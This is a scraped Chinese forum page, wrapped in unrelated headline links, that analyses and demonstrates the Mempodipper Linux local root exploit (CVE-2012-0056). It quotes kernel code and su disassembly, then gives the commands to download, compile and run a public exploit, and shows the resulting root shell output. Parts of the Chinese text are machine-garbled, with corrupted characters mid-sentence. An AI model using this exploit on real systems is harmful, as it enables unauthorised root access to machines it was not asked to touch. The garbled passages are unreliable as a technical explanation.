• 对中国,美国只剩下高等学校一个优势。中国应与日、俄、韩、澳实行联合办学机制,不足师资,一起把他们从美国挖过来,所正很多是移民过去的 2019-05-16
  • 何小燕.blog的博客—强国博客—人民网 2019-05-16
  • 男子抢劫杀人为“找钱”创业 司机装死逃命 2019-05-11
  • 日照钢铁控股集团有限公司 2019-05-11
  • 回复@不能这样啊:那你不是可以啥事不做天天甩起手耍?你自己不求上进还不准别人有所追求么? 2019-05-07
  • 安徽砀山重瘫女孩好励志 开网店年卖水果40万斤 2019-05-04
  • 21CN.COM 增值电信业务经营许可证 2019-04-26
  • 人民网评:让党的领导体系总揽全局、协调各方 2019-04-22
  • “黔电送粤”配套大型煤矿项目获批 盘江股份控股 2019-04-22
  • 怎样一抹色彩绚烂了2018年盛夏 2019-04-22
  • 2018年2月国家社科基金年度项目、青年项目和西部项目结项情况 2019-04-21
  • 安倍访美又遭“握手杀” 手都被捏皱了 2019-04-14
  • 娱乐--北京频道--人民网 2019-04-14
  • 聚焦两会“部长通道”再启:六位部委负责人谈发展 话民生 2019-04-14
  • “先进镁合金技术与应用”高峰论坛在沪召开 2019-04-11
  • 笑话大全ico
    您当前的位置 :心水论坛33789>黑客安全>系统攻防> 正文
    Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
    2015-11-22 07:14来源:厦门门户网
    【摘要】
    Linux=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056) /proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。 www.55zm.com 影响Linux 内核
    Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
     
    /proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。
     
    www.55zm.com
     
    影响Linux 内核> = 2.6.39
     
    当打开/proc/pid/mem时,会调用此内核代码:
     
    static int mem_open(struct inode* inode, struct file* file)
     
    {
     
    file->private_data = (void*)((long)current->self_exec_id);
     
    file->f_mode |= FMODE_UNSIGNED_OFFSET;
     
    return 0;
     
    }
     
    任何人都可以打开/proc/pid/mem fd 的任何进程写入 和读取,不过,有权限检查限制。让我们看看写功能:
     
    static ssize_t mem_write(struct file * file, const char __user *buf,
     
    size_t count, loff_t *ppos)
     
    {
     
    struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
     
    mm = check_mem_permission(task);
     
    copied = PTR_ERR(mm);
     
    if (IS_ERR(mm))
     
    goto out_free;
     
    if (file->private_data != (void *)((long)current->self_exec_id))
     
    goto out_mm;
     
    看代码有两个检查,以防止未经授权的写操作:check_mem_permission和self_exec_id。
     
    Check_mem_permission的代码只需调用到__check_mem_permission,代码:
     
    static struct mm_struct *__check_mem_permission(struct task_struct *task)
     
    {
     
    struct mm_struct *mm;
     
    mm = get_task_mm(task);
     
    if (!mm)
     
    return ERR_PTR(-EINVAL);
     
    if (task == current)
     
    return mm;
     
    if (task_is_stopped_or_traced(task)) {
     
    int match;
     
    rcu_read_lock();
     
    match = (ptrace_parent(task) == current);
     
    rcu_read_unlock();
     
    if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
     
    return mm;
     
    }
     
    mmput(mm);
     
    return ERR_PTR(-EPERM);
     
    }
     
    有两种方法能对内存写入。
     
    $ su "hsmw fuck you"
     
    Unknown id: hsmw fuck you
     
    可以看到su的stderr 的输出“Unknown id:”,我们可以fd 打开/proc/self/mem, 来确定在内存中的位置, 然后dup2 stderr 和mem fd, 把su $shellcode 写入到内存中,获得root.
     
    已task == current测试, 用self_exec_id 匹配self_exec_id 来检测fd 的打开。
     
    Self_exec_id在内核中只引用的少数几个地方。
     
    void setup_new_exec(struct linux_binprm * bprm)
     
    {
     
    current->self_exec_id++;
     
    flush_signal_handlers(current, 0);
     
    flush_old_files(current->files);
     
    }
     
    EXPORT_SYMBOL(setup_new_exec); www.55zm.com
     
    我们创建一个子进程,用self_exec_id来exec 到一个新的进程里面。当我们exec一个新的进程,self_exec_id会产生一个增量。这里程序忙与execing到我们的shellcode写su,所以其self_exec_id得到 相同的值递增。所以我们要做的是把exec一个新的进程,fd /proc/parent-pid/mem 到父进程的PID。这个时候的FD是因为没有权限仅仅打开检查。当它被打开,其self_exec_id来时起作用,把我们exec来su,用self_exec_id将递增。通过我们打开的FD从子进程返回父进程,dup2,和exec 溢出代码到su.
     
    接下来调试溢出的地址和ASLR随机进程的空间地址。
     
    在这里得到错误字符串:
     
    403677: ba 05 00 00 00 mov $0x5,%edx
     
    40367c: be ff 64 40 00 mov $0x4064ff,%esi
     
    403681: 31 ff xor %edi,%edi
     
    403683: e8 e0 ed ff ff callq 402468 ([email protected])
     
    然后把它写入到stderr:
     
    403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
     
    40368f: 48 89 c2 mov %rax,%rdx
     
    403692: b9 20 88 60 00 mov $0x608820,%ecx
     
    403697: be 01 00 00 00 mov $0x1,%esi
     
    40369c: 31 c0 xor %eax,%eax
     
    40369e: e8 75 ea ff ff callq 402118 ([email protected])
     
    关闭日志;
     
    4036a3: e8 f0 eb ff ff callq 402298 ([email protected])
     
    退出程序;
     
    4036a8: bf 01 00 00 00 mov $0x1,%edi
     
    4036ad: e8 c6 ea ff ff callq 402178 ([email protected])
     
    这里可以看到0×402178,这是它调用exit函数。我们来调试“Unknown id:" 的shellcode地址。
     
    $objdump -d /bin/su|grep '<[email protected]>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/' 0x402178
     
    它会设置uid 和gid 为0 去执行一个SHELL?;箍梢灾匦麓蚩猟up2ing 内存之前,stderr fd 到stderr,
     
    我们选择另一个fd dup stderr,在shellcode,到我们dup2 ,其他fd回来到stderr。
     
    EXP 老外写好了。插入一段/*混世魔王BLOG //26836659.blogcn.com */
     
    wget //git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
     
    CVE-2012-0056 $ ls
     
    build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
     
    CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
     
    CVE-2012-0056 $ ./mempodipper
     
    ===============================
     
    = Mempodipper =
     
    = by zx2c4 =
     
    = Jan 21, 2012 =
     
    ===============================
     
    [+] Waiting for transferred fd in parent.
     
    [+] Executing child from child fork.
     
    [+] Opening parent mem /proc/6454/mem in child.
     
    [+] Sending fd 3 to parent.
     
    [+] Received fd at 5.
     
    [+] Assigning fd 5 to stderr.
     
    [+] Reading su for [email protected]
     
    [+] Resolved [email protected] to 0x402178.
     
    [+] Seeking to offset 0x40216c.
     
    [+] Executing su with shellcode.
     
    sh-4.2# whoami
     
    root
     
    sh-4.2#
    标签(Tag):
    官方邮箱:心水论坛33789 www.492127.fun 官方微信:www.492127.fun 官方微博:
     
  • 对中国,美国只剩下高等学校一个优势。中国应与日、俄、韩、澳实行联合办学机制,不足师资,一起把他们从美国挖过来,所正很多是移民过去的 2019-05-16
  • 何小燕.blog的博客—强国博客—人民网 2019-05-16
  • 男子抢劫杀人为“找钱”创业 司机装死逃命 2019-05-11
  • 日照钢铁控股集团有限公司 2019-05-11
  • 回复@不能这样啊:那你不是可以啥事不做天天甩起手耍?你自己不求上进还不准别人有所追求么? 2019-05-07
  • 安徽砀山重瘫女孩好励志 开网店年卖水果40万斤 2019-05-04
  • 21CN.COM 增值电信业务经营许可证 2019-04-26
  • 人民网评:让党的领导体系总揽全局、协调各方 2019-04-22
  • “黔电送粤”配套大型煤矿项目获批 盘江股份控股 2019-04-22
  • 怎样一抹色彩绚烂了2018年盛夏 2019-04-22
  • 2018年2月国家社科基金年度项目、青年项目和西部项目结项情况 2019-04-21
  • 安倍访美又遭“握手杀” 手都被捏皱了 2019-04-14
  • 娱乐--北京频道--人民网 2019-04-14
  • 聚焦两会“部长通道”再启:六位部委负责人谈发展 话民生 2019-04-14
  • “先进镁合金技术与应用”高峰论坛在沪召开 2019-04-11